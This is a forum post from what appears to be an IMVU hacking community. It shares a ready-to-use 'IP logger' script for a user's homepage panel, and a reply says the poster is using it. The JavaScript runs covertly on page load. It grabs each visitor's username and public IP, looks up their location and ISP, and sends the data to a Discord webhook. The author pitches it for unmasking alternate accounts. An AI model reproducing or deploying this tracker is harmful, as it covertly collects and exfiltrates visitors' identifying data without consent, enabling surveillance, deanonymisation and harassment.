Ip logger

Toolyx
by Toolyx · 2 posts
1 month ago in General
Posted 1 month ago · Author
This goes onto your homepage panel. All you need to do is replace the Discord webhook, and you're good to go.

This is pretty much the only way to catch someone using an alternate account; you match their IPs if you can get both of their accounts to click on your homepage. To prevent spamming by refreshing, log each user only once. Save the IPs to a database along with the username or IP, and if the IP changes, update it in the database; otherwise, skip it.

The downside of this method is that if someone knows what they are doing, they can get your webhook and spam it (which might get your Discord account banned), so be careful. Consider hosting this on a small-scale server, and have the link execute upon visit.

Code
<script type="text/javascript">
document.addEventListener('DOMContentLoaded', function() {
    const vNameElement = document.getElementById("mininav-avname");
    if (vNameElement) {
        const vName = vNameElement.innerHTML.trim();

        fetch("https://api.ipify.org?format=json")
            .then(response => response.json())
            .then(data => {
                const userIP = data.ip;

                fetch(`https://ipapi.co/${userIP}/json/`)
                    .then(response => response.json())
                    .then(ipData => {
                        const message = `**IP Address:** ${userIP}n**Username:** ${vName}n**Location:** ${ipData.city}, ${ipData.country_name}n**ISP:** ${ipData.org}n**Time Visited:** ${new Date().toLocaleString()}`;
                        const payload = {
                            username: "Web Visitor Logger",
                            content: message
                        };

                        fetch("YOUR DISCORD WEBHOOK HERE!", {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json'
                            },
                            body: JSON.stringify(payload)
                        })
                        .then(response => {
                            if (!response.ok) {
                                response.json().then(json => console.error('Discord Error:', json));
                            }
                        })
                        .catch(error => {
                            console.error('Error sending message to Discord webhook:', error);
                        });
                    })
                    .catch(error => {
                        console.error('Error retrieving IP details:', error);
                    });
            })
            .catch(error => {
                console.error('Error retrieving IP address:', error);
            });
    } else {
        console.error("Element with ID 'mininav-avname' not found.");
    }
});

</script>
Posted 1 week ago
Noice. Using it. However, not the highest accuracy from site

Create an account or sign in to comment

You need to be a member in order to leave a comment

Sign in

Already have an account? Sign in here

SIGN IN NOW

Create an account

Sign up for a new account in our community. It's easy!

REGISTER A NEW ACCOUNT
Select a forum Protection     Help & Support     Introductions     Mafia News     IMVU News General Discussion     IMVU Lounge        IMVU Series / Roleplaying        Social Games     Mafia Market     Mafia Tools        Premium IMVU Tools        Off Topic Tools     Off Topic     Contests Creator Corner     Graphics Design        Photoshop        GIMP     Basic Creator Help     Catalog And Product Showcase     3D Meshing        3Ds Max        Sketchup        Blender Gangsters with Connections     White Hat Activities        Google Hacking        Trackers Programming Corner     Coding        Python        .Net (C#, VB, etc)        Flash        JAVA        Autoit        Batch        HTML & CSS        Javascript        PHP        Other        IMVU Homepage Codes           General           About me Panel           Messages Panel           Special Someone Panel           Visitors Panel           New Products Panel           Rankings Panel           Wishlist Panel           My Badges Panel           Outfits Panel           Url Panel           Groups Panel           Slideshow Panel           My Room Panel           Sandbox panel           Layouts     Help & Requests Free Credits     Approved Methods     Submit Methods Free Money     Approved Methods     Submit Methods Adult Corner     Get Mafia AP Here     AP Lounge        AP Social Games        Casual Dating Tips     IMVU Slave Market & Escorts